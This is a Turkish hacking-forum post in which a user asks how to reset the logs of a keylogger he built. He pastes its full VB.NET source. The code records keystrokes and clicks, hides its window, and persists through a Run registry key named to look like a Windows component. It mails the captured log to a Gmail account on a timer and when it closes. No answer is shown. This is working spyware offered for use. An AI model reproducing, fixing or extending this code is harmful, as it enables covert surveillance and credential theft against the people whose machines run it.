Keylogger log sıfırlama

E

erdemefe07

Katılımcı Üye
29 Tem 2013
254
0
İstanbul
Selamun Aleykum Arkadaşlar

Kendi Yaptığım Keyloggerimde logları Sıfırlayamıyorum Yani
Mesela Programı Açtık asdf tarzı birşeyler yazdık gmailimize geldi ama birdahaki gmailde önceki loglarıda alıyor yani başta yine asdf duruyor sonra yeni gelenleri yazıyor mesela ben 10 saniyede 1 logları sıfırlamak istiyorum nasıl yapabilirim ?

Kodlar:

Kod: 
Imports Microsoft.Win32
Imports System.Net.Mail
Public Class Form1
    Dim log As String
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short

    Private Sub addcurrentkey(ByVal name As String, ByVal path As String)
        Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        key.SetValue(name, path)
    End Sub

    Private Sub removecurrentkey(ByVal name As String)
        Dim key As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
        key.DeleteValue(name, False)
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
        Timer4.Start()
        Me.Opacity = 10
        Me.ShowInTaskbar = False
    End Sub
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        If (GetAsyncKeyState(1)) Then
            log = log + "[LeftClick]"
        ElseIf (GetAsyncKeyState(2)) Then
            log = log + "[RightClick]"
        ElseIf (GetAsyncKeyState(8)) Then
            log = log + "[BACKSPACE]"
        ElseIf (GetAsyncKeyState(9)) Then
            log = log + "[TAB]"
        ElseIf (GetAsyncKeyState(13)) Then
            log = log + "[ENTER]"
        ElseIf (GetAsyncKeyState(16)) Then
            log = log + "[SHIFT]"
        ElseIf (GetAsyncKeyState(17)) Then
            log = log + "[CTRL]"
        ElseIf (GetAsyncKeyState(20)) Then
            log = log + "[CAPSLOCK]"
        ElseIf (GetAsyncKeyState(27)) Then
            log = log + "[ESC]"
        ElseIf (GetAsyncKeyState(32)) Then
            log = log + "[SPACE]"
        ElseIf (GetAsyncKeyState(42)) Then
            log = log + "[PRINTSCREEN]"
        ElseIf (GetAsyncKeyState(46)) Then
            log = log + "[DEL]"
        ElseIf (GetAsyncKeyState(144)) Then
            log = log + "[NUMLOCK]"
        ElseIf (GetAsyncKeyState(65)) Then
            log = log + "[A]"
        ElseIf (GetAsyncKeyState(66)) Then
            log = log + "[B]"
        ElseIf (GetAsyncKeyState(67)) Then
            log = log + "[C]"
        ElseIf (GetAsyncKeyState(68)) Then
            log = log + "[D]"
        ElseIf (GetAsyncKeyState(69)) Then
            log = log + "[E]"
        ElseIf (GetAsyncKeyState(70)) Then
            log = log + "[F]"
        ElseIf (GetAsyncKeyState(71)) Then
            log = log + "[G]"
        ElseIf (GetAsyncKeyState(72)) Then
            log = log + "[H]"
        ElseIf (GetAsyncKeyState(73)) Then
            log = log + "[I]"
        ElseIf (GetAsyncKeyState(74)) Then
            log = log + "[J]"
        ElseIf (GetAsyncKeyState(75)) Then
            log = log + "[K]"
        ElseIf (GetAsyncKeyState(76)) Then
            log = log + "[L]"
        ElseIf (GetAsyncKeyState(77)) Then
            log = log + "[M]"
        ElseIf (GetAsyncKeyState(78)) Then
            log = log + "[N]"
        ElseIf (GetAsyncKeyState(79)) Then
            log = log + "[O]"
        ElseIf (GetAsyncKeyState(80)) Then
            log = log + "[P]"
        ElseIf (GetAsyncKeyState(81)) Then
            log = log + "[Q]"
        ElseIf (GetAsyncKeyState(82)) Then
            log = log + "[R]"
        ElseIf (GetAsyncKeyState(83)) Then
            log = log + "[S]"
        ElseIf (GetAsyncKeyState(84)) Then
            log = log + "[T]"
        ElseIf (GetAsyncKeyState(85)) Then
            log = log + "[U]"
        ElseIf (GetAsyncKeyState(86)) Then
            log = log + "[V]"
        ElseIf (GetAsyncKeyState(87)) Then
            log = log + "[W]"
        ElseIf (GetAsyncKeyState(88)) Then
            log = log + "[X]"
        ElseIf (GetAsyncKeyState(89)) Then
            log = log + "[Y]"
        ElseIf (GetAsyncKeyState(90)) Then
            log = log + "[Z]"
        ElseIf (GetAsyncKeyState(48)) Then
            log = log + "[0]"
        ElseIf (GetAsyncKeyState(49)) Then
            log = log + "[1]"
        ElseIf (GetAsyncKeyState(50)) Then
            log = log + "[2]"
        ElseIf (GetAsyncKeyState(51)) Then
            log = log + "[3]"
        ElseIf (GetAsyncKeyState(52)) Then
            log = log + "[4]"
        ElseIf (GetAsyncKeyState(53)) Then
            log = log + "[5]"
        ElseIf (GetAsyncKeyState(54)) Then
            log = log + "[6]"
        ElseIf (GetAsyncKeyState(55)) Then
            log = log + "[7]"
        ElseIf (GetAsyncKeyState(56)) Then
            log = log + "[8]"
        ElseIf (GetAsyncKeyState(57)) Then
            log = log + "[9]"
        ElseIf (GetAsyncKeyState(96)) Then
            log = log + "[N0]"
        ElseIf (GetAsyncKeyState(97)) Then
            log = log + "[N1]"
        ElseIf (GetAsyncKeyState(98)) Then
            log = log + "[N2]"
        ElseIf (GetAsyncKeyState(99)) Then
            log = log + "[N3]"
        ElseIf (GetAsyncKeyState(100)) Then
            log = log + "[N4]"
        ElseIf (GetAsyncKeyState(101)) Then
            log = log + "[N5]"
        ElseIf (GetAsyncKeyState(102)) Then
            log = log + "[N6]"
        ElseIf (GetAsyncKeyState(103)) Then
            log = log + "[N7]"
        ElseIf (GetAsyncKeyState(104)) Then
            log = log + "[N8]"
        ElseIf (GetAsyncKeyState(105)) Then
            log = log + "[N9]"
        ElseIf (GetAsyncKeyState(106)) Then
            log = log + "[*]"
        ElseIf (GetAsyncKeyState(107)) Then
            log = log + "[+]"
        ElseIf (GetAsyncKeyState(108)) Then
            log = log + "[N-ENTER]"
        ElseIf (GetAsyncKeyState(109)) Then
            log = log + "[-]"
        ElseIf (GetAsyncKeyState(110)) Then
            log = log + "[.]"
        ElseIf (GetAsyncKeyState(111)) Then
            log = log + "[/]"
        ElseIf (GetAsyncKeyState(112)) Then
            log = log + "[F1]"
        ElseIf (GetAsyncKeyState(113)) Then
            log = log + "[F2]"
        ElseIf (GetAsyncKeyState(114)) Then
            log = log + "[F3]"
        ElseIf (GetAsyncKeyState(115)) Then
            log = log + "[F4]"
        ElseIf (GetAsyncKeyState(116)) Then
            log = log + "[F5]"
        ElseIf (GetAsyncKeyState(117)) Then
            log = log + "[F6]"
        ElseIf (GetAsyncKeyState(118)) Then
            log = log + "[F7]"
        ElseIf (GetAsyncKeyState(119)) Then
            log = log + "[F8]"
        ElseIf (GetAsyncKeyState(120)) Then
            log = log + "[F9]"
        ElseIf (GetAsyncKeyState(121)) Then
            log = log + "[F10]"
        ElseIf (GetAsyncKeyState(122)) Then
            log = log + "[F11]"
        ElseIf (GetAsyncKeyState(123)) Then
            log = log + "[F12]"
        End If
    End Sub
    Private Sub form_kapaninca() Handles MyBase.Closing
        sendmail()
    End Sub
    Private Sub sendmail()
        Dim mail As New MailMessage
        Dim smptserver As New SmtpClient
        smptserver.Credentials = New Net.NetworkCredential("*sansür*", "*sansür*")
        smptserver.Port = 587
        smptserver.Host = "smtp.gmail.com"
        smptserver.EnableSsl = True
        mail.To.Add("*sansür*")
        mail.From = New MailAddress("*sansür*")
        mail.Subject = "Alınan Loglar"
        mail.Body = log
        smptserver.Send(mail)
    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        sendmail()
    End Sub

    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        Me.Hide()
    End Sub

    Private Sub Timer4_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer4.Tick
        addcurrentkey("Windows Olay Yöneticisi", System.Reflection.Assembly.GetEntryAssembly.********)
    End Sub

    Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
    End Sub
End Class


Lütfen Yardım Edin Şimdiden Teşekkürler
 
Tarihe göre sırala Oylara göre sırala
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.